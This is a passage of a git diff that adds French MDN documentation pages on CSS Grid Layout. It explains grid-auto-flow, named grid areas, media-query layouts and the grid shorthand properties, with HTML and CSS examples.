+<p>Si on veut éviter ces trous, on peut utiliser la règle {{cssxref("grid-auto-flow")}}<code>: dense </code>sur le conteneur de la grille. Attention à utiliser cette valeur car l'ordre logique n'est plus respecté. Aussi, il ne faut utiliser cette valeur uniquement lorsqu'il n'y a pas d'ordre pour les objets. Avec cette valeur, la navigation au clavier (<em>tab order</em>) continue de suivre l'ordre des éléments du document et pas l'ordre d'affichage des objets sur la grille.</p>
+
+<div id="layout_5">
+<div class="hidden">
+<pre class="brush: html">&lt;ul class="listing"&gt;
+  &lt;li&gt;
+    &lt;h2&gt;Item One&lt;/h2&gt;
+    &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+    &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+  &lt;/li&gt;
+   &lt;li&gt;
+     &lt;h2&gt;Item Two&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+   &lt;/li&gt;
+   &lt;li class="wide"&gt;
+     &lt;h2&gt;Item Three&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;
+     &lt;p&gt;This one has more text than the other items.&lt;/p&gt;
+     &lt;p&gt;Quite a lot more&lt;/p&gt;
+     &lt;p&gt;Perhaps we could do something different with it?&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+     &lt;h2&gt;Item Four&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+     &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+     &lt;li&gt;
+     &lt;h2&gt;Item Five&lt;/h2&gt;
+     &lt;div class="body"&gt;&lt;p&gt;The content of this listing item goes here.&lt;/p&gt;&lt;/div&gt;
+      &lt;div class="cta"&gt;&lt;a href=""&gt;Call to action!&lt;/a&gt;&lt;/div&gt;
+    &lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<pre class="brush: css">* {box-sizing: border-box;}
+img {max-width: 100%; display: block;}
+body {
+  font: 1.2em Helvetica, arial, sans-serif;
+}
+a:link, a:visited {
+  text-decoration: none;
+  color: #f08c00;
+}
+h2 {
+  background-color: #f08c00;
+  color: #fff;
+  text-align: center;
+  margin: 0;
+  padding: 20px;
+}
+.listing li {
+  border: 1px solid #ffe066;
+  border-radius: 5px;
+  display: flex;
+  flex-direction: column;
+}
+.listing .cta {
+  margin-top: auto;
+  border-top: 1px solid #ffe066;
+  padding: 10px;
+  text-align: center;
+}
+.listing .body {
+  padding: 10px;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.listing {
+  list-style: none;
+  margin: 2em;
+  display: grid;
+  grid-gap: 20px;
+  grid-auto-flow: dense;
+  grid-template-columns: repeat(auto-fill,minmax(200px, 1fr));
+}
+.listing .wide {
+  grid-column-end: span 2;
+}
+</pre>
+
+<p>{{EmbedLiveSample('layout_5', '800', '900')}}</p>
+
+<p>Cette technique de placement automatiquement peut s'avérer extrêmement utile si vous devez gérer du contenu produit par un CMS pour un ensemble d'objets qui se ressemblent et auxquels vous ajoutez une classe lors de la génération en HTML.</p>
+</div>
+
+<h2 id="Aller_plus_loin">Aller plus loin</h2>
+
+<p>La meilleure façon d'apprendre à utiliser les grilles CSS est de continuer à construire des exemples comme ceux que nous avons vus ici. Prenez un cas d'utilisation que vous auriez construit avec un <em>framework</em> ou avec un autre mode de disposition et voyez si vous pouvez le construire à l'aide d'une grille. N'oubliez pas de trouver des exemples de disposition encore impossibles à construire avec les méthodes actuelles : prenez différentes sources d'inspiration comme les magazines et affiches. Le modèle de grille offre un nouvel éventail de possibilités et il serait dommage de rester sur nos acquis.</p>
+
+<ul>
+ <li>Vous pouvez consulter le <a href="https://labs.jensimmons.com/"><em>Layout Labs</em> de Jen Simmons (en anglais)</a>, elle a créé différentes disposition en se basant sur une variété d'exemples.</li>
+ <li>Pour d'autres exemples, vous pouvez vous référer à <em><a href="https://gridbyexample.com">Grid by Example</a></em> qui contient des exemples pour des grilles plus petites, des fragments d'interface utilisateur ou des dispositions pour des pages entières.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Modèle_de_grille_et_autres_modèles_de_disposition","","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_grid_layout/définir_des_zones_sur_une_grille/index.html b/files/fr/web/css/css_grid_layout/définir_des_zones_sur_une_grille/index.html
new file mode 100644
index 0000000000..be9c0122a7
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/définir_des_zones_sur_une_grille/index.html
@@ -0,0 +1,482 @@
+---
+title: Définir des zones sur une grille
+slug: Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille
+tags:
+  - CSS
+  - CSS Grids
+  - Grilles CSS
+  - Guide
+translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas
+---
+<div>{{CSSRef}}</div>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}</p>
+
+<p>Dans <a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS">le guide précédent</a>, on a étudié les lignes formées par une grille et comment positionner des objets sur ces lignes. Lorsqu'on utilise une grille CSS, on a toujours ces lignes et celles-ci permettent d'avoir une disposition simple. Toutefois, il existe une autre méthode de disposition avec les grilles, qu'on peut utiliser seule ou combinée avec les lignes. Avec cette méthode, on place les éléments sur des <em>zones</em> de la grille. Nous allons voir dans ce guide comment cela fonctionne voire comment on peut faire de l'ASCII-art en CSS avec les grilles !</p>
+
+<h2 id="Donner_un_nom_à_une_zone_de_grille">Donner un nom à une zone de grille</h2>
+
+<p>On a déjà utilisé la propriété {{cssxref("grid-area")}} précédemment. C'est cette propriété qui utilise les numéros des lignes comme valeur pour positionner une zone de grille :</p>
+
+<pre class="brush: css">.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+</pre>
+
+<p>Ici, on définit les quatre lignes qui entourent la zone en question :</p>
+
+<p><img alt="The Grid Area defined by lines" src="https://mdn.mozillademos.org/files/14667/4_Area.png" style="height: 354px; width: 951px;"></p>
+
+<p>On peut également définir une zone en lui donnant un nom puis en définissant l'emplacement de cette zone grâce à la propriété {{cssxref("grid-template-areas")}}. Vous pouvez choisir les noms de vos zones, on peut par exemple créer une disposition avec quatre zones :</p>
+
+<ul>
+ <li>Un en-tête (<em>header</em>)</li>
+ <li>Un pied de page (<em>footer</em>)</li>
+ <li>Une barre latérale (<em>sidebar</em>)</li>
+ <li>Le contenu principale (<em>content</em>)</li>
+</ul>
+
+<p><img alt="An image showing a simple two column layout with header and footer" src="https://mdn.mozillademos.org/files/14669/4_Layout.png" style="height: 397px; width: 900px;"></p>
+
+<p>Avec {{cssxref("grid-area")}}, on affecte un nom à chacune de ces zones. Pour le moment, aucune disposition n'a été créée mais on a des noms qu'on pourra utiliser dans notre disposition :</p>
+
+<div id="Grid_Area_1">
+<pre class="brush: css">.header {
+  grid-area: hd;
+}
+.footer {
+  grid-area: ft;
+}
+.content {
+  grid-area: main;
+}
+.sidebar {
+  grid-area: sd;
+}
+</pre>
+
+<p>Grâce à ces noms, on peut créer l'organisation. Cette fois, plutôt que de placer les objets grâce aux numéros de ligne, on définit la disposition dans le conteneur de la grille :</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 940px;
+  margin: 0 auto;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="header"&gt;En-tête&lt;/div&gt;
+  &lt;div class="sidebar"&gt;Barre latérale&lt;/div&gt;
+  &lt;div class="content"&gt;Contenu&lt;/div&gt;
+  &lt;div class="footer"&gt;Pied de page&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Grid_Area_1', '300', '330')}}</p>
+</div>
+
+<p>Grâce à cette méthode, il n'est pas nécessaire de gérer chacun des éléments individuellement. Tout est organisé au travers du conteneur. La disposition est décrite grâce à la propriété {{cssxref("grid-template-areas")}}.</p>
+
+<h2 id="Laisser_une_cellule_vide">Laisser une cellule vide</h2>
+
+<p>Dans l'exemple précédent, toute la grille est occupée… On peut également utiliser cette méthode pour laisser des cellules vides. Pour cela, il faut utiliser un point à la place d'un nom de zone. Aussi, si on veut que le pied de page soit uniquement affiché sous le contenu, il faudra avoir trois cellules vides sous la barre latérale.</p>
+
+<pre class="brush: css">.header {
+  grid-area: hd;
+}
+.footer {
+  grid-area: ft;
+}
+.content {
+  grid-area: main;
+}
+.sidebar {
+  grid-area: sd;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 940px;
+  margin: 0 auto;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      ".  .  .  ft   ft   ft   ft   ft   ft";
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="header"&gt;En-tête&lt;/div&gt;
+  &lt;div class="sidebar"&gt;Barre latérale&lt;/div&gt;
+  &lt;div class="content"&gt;Contenu&lt;/div&gt;
+  &lt;div class="footer"&gt;Pied de page&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Laisser_une_cellule_vide', '300', '330')}}</p>
+
+<p>Si on veut que la disposition soit bien représentée, on peut utiliser plusieurs points. Tant que ceux-ci ne sont pas séparés par un espace, ils compteront pour une seule cellule. Dans le cas d'une disposition complexe, cela permet d'avoir des lignes et colonnes clairement alignées, y compris dans la règle CSS.</p>
+
+<h2 id="Occuper_plusieurs_cellules">Occuper plusieurs cellules</h2>
+
+<p>Dans notre exemple, chacune des zones occupe plusieurs cellules car on a répété le nom de la zone avec des espaces entre (on peut ajouter plus d'espaces si besoin, afin d'avoir une disposition lisible, c'est ce qu'on a fait précédemment pour que <code>hd</code> et <code>ft</code> soient alignés avec <code>main</code>).</p>
+
+<p>La zone qu'on crée avec les noms doit être rectangulaires. Actuellement, il n'existe pas de méthode pour créer une zone avec une forme de L (bien que la spécification indique qu'une prochaine version pourrait couvrir cette fonctionnalité). On peut toutefois agrandir des lignes horizontales aussi simplement que des colonnes. Par exemple, on pourrait avoir la barre latérale qui descend jusqu'en bas en remplaçant les points par <code>sd</code>.</p>
+
+<pre class="brush: css">.header {
+  grid-area: hd;
+}
+.footer {
+  grid-area: ft;
+}
+.content {
+  grid-area: main;
+}
+.sidebar {
+  grid-area: sd;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 940px;
+  margin: 0 auto;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "sd sd sd  ft  ft   ft   ft   ft   ft";
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="header"&gt;En-tête&lt;/div&gt;
+  &lt;div class="sidebar"&gt;Barre latérale&lt;/div&gt;
+  &lt;div class="content"&gt;Contenu&lt;/div&gt;
+  &lt;div class="footer"&gt;Pied de page&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Occuper_plusieurs_cellules', '300', '330')}}</p>
+
+<p>La valeur utilisée pour {{cssxref("grid-template-areas")}} doit obligatoirement décrire une grille complète, sinon elle est considérée invalide et la propriété est ignorée. Cela signifie qu'il faut le même nombre de cellules pour chaque ligne (si une cellule est vide, on l'indiquera avec un point). Si des zones ne sont pas rectangulaires, cela sera également considéré comme invalide.</p>
+
+<h2 id="Redéfinir_une_grille_à_avec_des_media_queries">Redéfinir une grille à avec des <em>media queries</em></h2>
+
+<p>Notre disposition fait désormais partie de notre feuille de style CSS. On peut donc l'adapter très facilement pour différentes résolutions. On peut redéfinir la position des objets sur la grille ou la grille elle-même, ou les deux simultanément.</p>
+
+<p>Pour ce faire, on définit les noms des zones en dehors de toute <em>media query</em> afin de pouvoir y accéder quel que soit l'endroit où la zone sera placée.</p>
+
+<p>Pour la disposition vue précédemment, on définit ici une disposition par défaut sur une seule colonne pour les affichages étroits. On a donc une seule piste sur laquelle s'empilent les objets :</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 940px;
+  margin: 0 auto;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.header {
+  grid-area: hd;
+}
+.footer {
+  grid-area: ft;
+}
+.content {
+  grid-area: main;
+}
+.sidebar {
+  grid-area: sd;
+}
+
+.wrapper {
+  display: grid;
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-columns: 1fr;
+  grid-template-areas:
+    "hd"
+    "main"
+    "sd"
+    "ft";
+}
+</pre>
+
+<p>On peut ensuite redéfinir la disposition à l'intérieur des différentes <em>media queries</em> utilisées pour avoir une disposition sur deux colonnes, voire trois lorsque l'espace le permet. On notera que pour la disposition la plus large, on a une grille organisée sur 9 colonnes/pistes et on redéfinit l'emplacement des objets avec <code>grid-template-areas</code>.</p>
+
+<pre class="brush: css">@media (min-width: 500px) {
+  .wrapper {
+    grid-template-columns: repeat(9, 1fr);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "sd sd sd  ft  ft   ft   ft   ft   ft";
+  }
+}
+@media (min-width: 700px) {
+  .wrapper {
+    grid-template-areas:
+      "hd hd hd   hd   hd   hd   hd   hd hd"
+      "sd sd main main main main main ft ft";
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="header"&gt;En-tête&lt;/div&gt;
+  &lt;div class="sidebar"&gt;Barre latérale&lt;/div&gt;
+  &lt;div class="content"&gt;Contenu&lt;/div&gt;
+  &lt;div class="footer"&gt;Pied de page&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample("Redéfinir_une_grille_avec_des_media_queries", '550', '330')}}</p>
+
+<h2 id="Utiliser_grid-template-areas_pour_des_éléments_d'interface_utilisateur">Utiliser <code>grid-template-areas</code> pour des éléments d'interface utilisateur</h2>
+
+<p>La plupart des exemples illustrent une utilisation de la grille pour la disposition principale de la page. Toutefois, une grille peut également être utile pour les petits éléments. {{cssxref("grid-template-areas")}} est assez pratique car elle permet de voir facilement à quoi ressemblera l'élément.</p>
+
+<p>Dans l'exemple qui suit, on crée un objet « media » qui servira de composant pour afficher un media (une image par exemple) d'un côté et un texte de l'autre. On pourra ainsi voir l'effet obtenu en changeant la disposition avec l'image à droite ou à gauche.</p>
+
+<p><img alt="Images showing an example media object design" src="https://mdn.mozillademos.org/files/14671/4_Media_objects.png" style="height: 432px; width: 800px;"></p>
+
+<p>Ici, la grille se compose de deux pistes en colonnes. La colonne pour l'image est dimensionnée avec <code>1fr</code> et celle pour le texte reçoit <code>3fr</code>. Si on souhaitait utiliser une largeur fixe pour l'image, on aurait pu utiliser des pixels pour définir la taille de la colonne et utiliser <code>1fr</code> pour la zone du texte. Cette colonne de <code>1fr</code> aurait alors occupé le reste de l'espace.</p>
+
+<p>Pour la zone dédiée à l'image, on crée une zone de grille intitulée <code>img</code> et pour le texte, on crée une seconde zone intitulée <code>content</code>. Ensuite, on utilise ces noms pour créer l'organisation via la propriété <code>grid-template-areas</code>.</p>
+
+<div id="Media_1">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.media {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 400px;
+}
+.media {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+  grid-template-areas: "img content";
+  margin-bottom: 1em;
+}
+
+.media .image {
+  grid-area: img;
+  background-color: #ffd8a8;
+}
+
+.media .text {
+  grid-area: content;
+  padding: 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="media"&gt;
+  &lt;div class="image"&gt;&lt;/div&gt;
+  &lt;div class="text"&gt;
+    Dans cet exemple, on peut utiliser
+    grid-template-areas pour échanger les
+    places du texte et du media.
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Media_1', '300', '200')}}</p>
+</div>
+
+<h3 id="Afficher_l'image_de_l'autre_côté">Afficher l'image de l'autre côté</h3>
+
+<p>Si on a besoin d'afficher l'image d l'autre côté, il suffit de redéfinir une grille pour laquelle la piste qui mesure <code>1fr</code> est en dernier et d'échanger les valeurs dans {{cssxref("grid-template-areas")}}.</p>
+
+<div id="Media_2">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.media {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+  max-width: 400px;
+}
+.media {
+  display: grid;
+  grid-template-columns: 1fr 3fr;
+  grid-template-areas: "img content";
+  margin-bottom: 1em;
+}
+
+.media.flipped {
+  grid-template-columns: 3fr 1fr;
+  grid-template-areas: "content img";
+}
+
+.media .image {
+  grid-area: img;
+  background-color: #ffd8a8;
+}
+
+.media .text {
+  grid-area: content;
+  padding: 10px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="media flipped"&gt;
+  &lt;div class="image"&gt;&lt;/div&gt;
+  &lt;div class="text"&gt;
+    Dans cet exemple, on peut utiliser
+    grid-template-areas pour échanger les
+    places du texte et du media.
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Media_2', '300', '200') }}</p>
+</div>
+
+<h2 id="Les_propriétés_raccourcies_pour_les_grilles_CSS">Les propriétés raccourcies pour les grilles CSS</h2>
+
+<p>Nous avons vu différentes façons de placer des objets sur une grille et plusieurs des propriétés utilisées pour définir une grille. Voyons maintenant les propriétés raccourcies qui sont disponibles pour les grilles CSS et qui permettent de rendre le code un peu plus concis.</p>
+
+<p>Attention, ces propriétés peuvent parfois devenir complexes à lire, que ce soit pour les autres développeurs qui liraient votre code voire pour vous-même d'ici quelques semaines. Cependant, elles font partie de la spécification et vous pourrez les rencontrer dans des exemples ou dans d'autres bases de code.</p>
+
+<p>Avant d'utiliser une propriété raccourcie, il est préférable de se rappeler qu'une propriété raccourcie permet d'en définir plusieurs grâce à une seule règle <strong>mais aussi</strong> qu'une propriété raccourcie réinitialise les propriétés avec leurs valeurs initiales lorsqu'elles ne sont pas déclarées via la propriété raccourcie. Aussi, si vous utilisez une propriété raccourcie, sachez qu'elle peut réinitialiser une propriété que vous auriez utilisé autre part.</p>
+
+<p>Les deux propriétés raccourcies pour les grilles sont <code>grid-template</code> et <code>grid</code>.</p>
+
+<h3 id="grid-template"><code>grid-template</code></h3>
+
+<p>La propriété {{cssxref("grid-template")}} permet de définir les propriétés suivantes :</p>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+</ul>
+
+<p>Cette propriété est appelée propriété raccourcie « explicite » car elle permet de paramétrer les aspects d'une grille définie explicitement. Elle n'a pas d'impact sur les propriétés qui créeraient des lignes ou colonnes implicites.</p>
+
+<p>Le fragment de code suivant crée une disposition identique à celle que nous avons vu plus haut dans cet article.</p>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template:
+      "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+      "sd sd sd main main main main main main" minmax(100px, auto)
+      "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+             / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+</pre>
+
+<p>La première valeur correspond à celle de <code>grid-template-areas</code> mais on déclare également les tailles de chaque ligne à la fin de chaque ligne (avec <code>minmax(100px, auto)</code>).</p>
+
+<p>Après la valeur de <code>grid-template-areas</code>, on a un barre oblique (/) puis une liste de pistes qui définit les colonnes explicitement.</p>
+
+<h3 id="grid"><code>grid</code></h3>
+
+<p>La propriété {{cssxref("grid")}} va un cran plus loin et définit également les propriétés utilisées par la grille implicite. Elle permet de paramétrer :</p>
+
+<ul>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+</ul>
+
+<p>Cette propriété réinitialise également la propriété {{cssxref("grid-gap")}} avec la valeur <code>0</code> mais, en revanche, elle ne permet pas de définir des espaces.</p>
+
+<p>On peut utiliser la même syntaxe qu'avec {{cssxref("grid-template")}} mais attention, cela réinitialisera les valeurs des autres propriétés :</p>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid: "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+    "sd sd sd main main main main main main" minmax(100px, auto)
+    "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+    / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+</pre>
+
+<p>Dans les articles suivants, nous verrons les fonctionnalités offertes par cette propriété raccourcie, notamment pour le placement automatique et pour la propriété <code>grid-auto-flow</code>.</p>
+
+<p>Après ces quelques guides, vous devriez désormais être en mesure de créer des grilles et de placer les éléments sur des lignes ou grâce à des zones nommées. Prenez le temps de construire certains motifs « classiques » à l'aide de grille pour mieux apprendre en manipulant. Au fur et à mesure, vous aurez des questions et arriverez sur des scénarios que nous n'avons pas encore évoqués. Dans la suite de ces articles, nous nous intéresserons plus en détails aux autres éléments de la spécification afin de pouvoir créer des dispositions plus complexes.</p>
+
+<p>{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}</p>
diff --git a/files/fr/web/css/css_grid_layout/index.html b/files/fr/web/css/css_grid_layout/index.html
new file mode 100644
index 0000000000..b097f662db
--- /dev/null
+++ b/files/fr/web/css/css_grid_layout/index.html
@@ -0,0 +1,193 @@
+---
+title: Grilles CSS (CSS Grid)
+slug: Web/CSS/CSS_Grid_Layout
+tags:
+  - CSS
+  - CSS Grids
+  - Grilles CSS
+  - Reference
+translation_of: Web/CSS/CSS_Grid_Layout
+---
+<div>{{CSSRef}}</div>
+
+<p>Le module <em><strong>CSS Grid layout</strong></em> (modèle de disposition en grille) est un module de la spécification CSS qui permet de créer des mises en page en divisant l'espace d'affichage en régions utilisables par une application ou en définissant des relations de taille, position et d'empilement entre les éléments HTML.</p>
+
+<p>Comme les tableaux, la grille permet d'aligner des éléments sous forme de colonnes et de lignes mais à la différence des tableaux, la grille n'a pas de structure de contenu. Ainsi, on peut créer de nombreuses mises en page qui n'auraient pas été possibles avec les tableaux. Ainsi, les éléments fils d'un conteneur en grille peuvent être positionnés afin qu'ils se chevauchent ou qu'ils se comportent comme des éléments positionnés.</p>
+
+<h2 id="Un_exemple_simple">Un exemple simple</h2>
+
+<p>Dans l'exemple qui suit, on montre comment utiliser une grille avec trois pistes en colonnes pour laquelle les nouvelles lignes créées mesureront au moins 100 pixels et auront au plus la taille automatique (définie par leur contenu). Les éléments sont placés sur la grille grâce aux numéros des lignes horizontales et verticales.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+.wrapper {
+  max-width: 940px;
+  margin: 0 auto;
+}
+
+.wrapper &gt; div {
+  border: 2px solid rgb(233,171,88);
+  border-radius: 5px;
+  background-color: rgba(233,171,88,.5);
+  padding: 1em;
+  color: #d9480f;
+}</pre>
+</div>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="one"&gt;Un&lt;/div&gt;
+  &lt;div class="two"&gt;Deux&lt;/div&gt;
+  &lt;div class="three"&gt;Trois&lt;/div&gt;
+  &lt;div class="four"&gt;Quatre&lt;/div&gt;
+  &lt;div class="five"&gt;Cinq&lt;/div&gt;
+  &lt;div class="six"&gt;Six&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-gap: 10px;
+  grid-auto-rows: minmax(100px, auto);
+}
+.one {
+  grid-column: 1 / 3;
+  grid-row: 1;
+}
+.two {
+  grid-column: 2 / 4;
+  grid-row: 1 / 3;
+}
+.three {
+  grid-column: 1;
+  grid-row: 2 / 5;
+}
+.four {
+  grid-column: 3;
+  grid-row: 3;
+}
+.five {
+  grid-column: 2;
+  grid-row: 4;
+}
+.six {
+  grid-column: 3;
+  grid-row: 4;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Un_exemple_simple", "100%", "440")}}</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés_CSS">Propriétés CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("grid-template-columns")}}</li>
+ <li>{{cssxref("grid-template-rows")}}</li>
+ <li>{{cssxref("grid-template-areas")}}</li>
+ <li>{{cssxref("grid-template")}}</li>
+ <li>{{cssxref("grid-auto-columns")}}</li>
+ <li>{{cssxref("grid-auto-rows")}}</li>
+ <li>{{cssxref("grid-auto-flow")}}</li>
+ <li>{{cssxref("grid")}}</li>
+ <li>{{cssxref("grid-row-start")}}</li>
+ <li>{{cssxref("grid-column-start")}}</li>
+ <li>{{cssxref("grid-row-end")}}</li>
+ <li>{{cssxref("grid-column-end")}}</li>
+ <li>{{cssxref("grid-row")}}</li>
+ <li>{{cssxref("grid-column")}}</li>
+ <li>{{cssxref("grid-area")}}</li>
+ <li>{{cssxref("row-gap")}}</li>
+ <li>{{cssxref("column-gap")}}</li>
+ <li>{{cssxref("gap")}}</li>
+</ul>
+</div>
+
+<h3 id="Fonctions_CSS">Fonctions CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("repeat", "repeat()")}}</li>
+ <li>{{cssxref("minmax", "minmax()")}}</li>
+ <li>{{cssxref("fit-content", "fit-content()")}}</li>
+</ul>
+</div>
+
+<h3 id="Types_de_donnée_CSS">Types de donnée CSS</h3>
+
+<p>{{cssxref("&lt;flex&gt;")}}</p>
+
+<h3 id="Termes_définis_dans_le_glossaire">Termes définis dans le glossaire</h3>
+
+<div class="index">
+<ul>
+ <li><a href="/fr/docs/Glossaire/Grid">Grille</a></li>
+ <li><a href="/fr/docs/Glossaire/Grid_Lines">Lignes</a></li>
+ <li><a href="/fr/docs/Glossaire/Grid_Tracks">Pistes</a></li>
+ <li><a href="/fr/docs/Glossaire/Grid_Cell">Cellules</a></li>
+ <li><a href="/fr/docs/Glossaire/Grid_Areas">Zones</a></li>
+ <li><a href="/fr/docs/Glossaire/Gutters">Gouttières</a></li>
+ <li><a href="/fr/docs/Glossaire/Grid_Axis">Axe</a></li>
+ <li><a href="/fr/docs/Glossaire/Grid_Rows">Ligne horizontale </a></li>
+ <li><a href="/fr/docs/Glossaire/Grid_Column">Colonnes</a></li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<div class="index">
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Les_concepts_de_base">Les concepts de base</a></li>
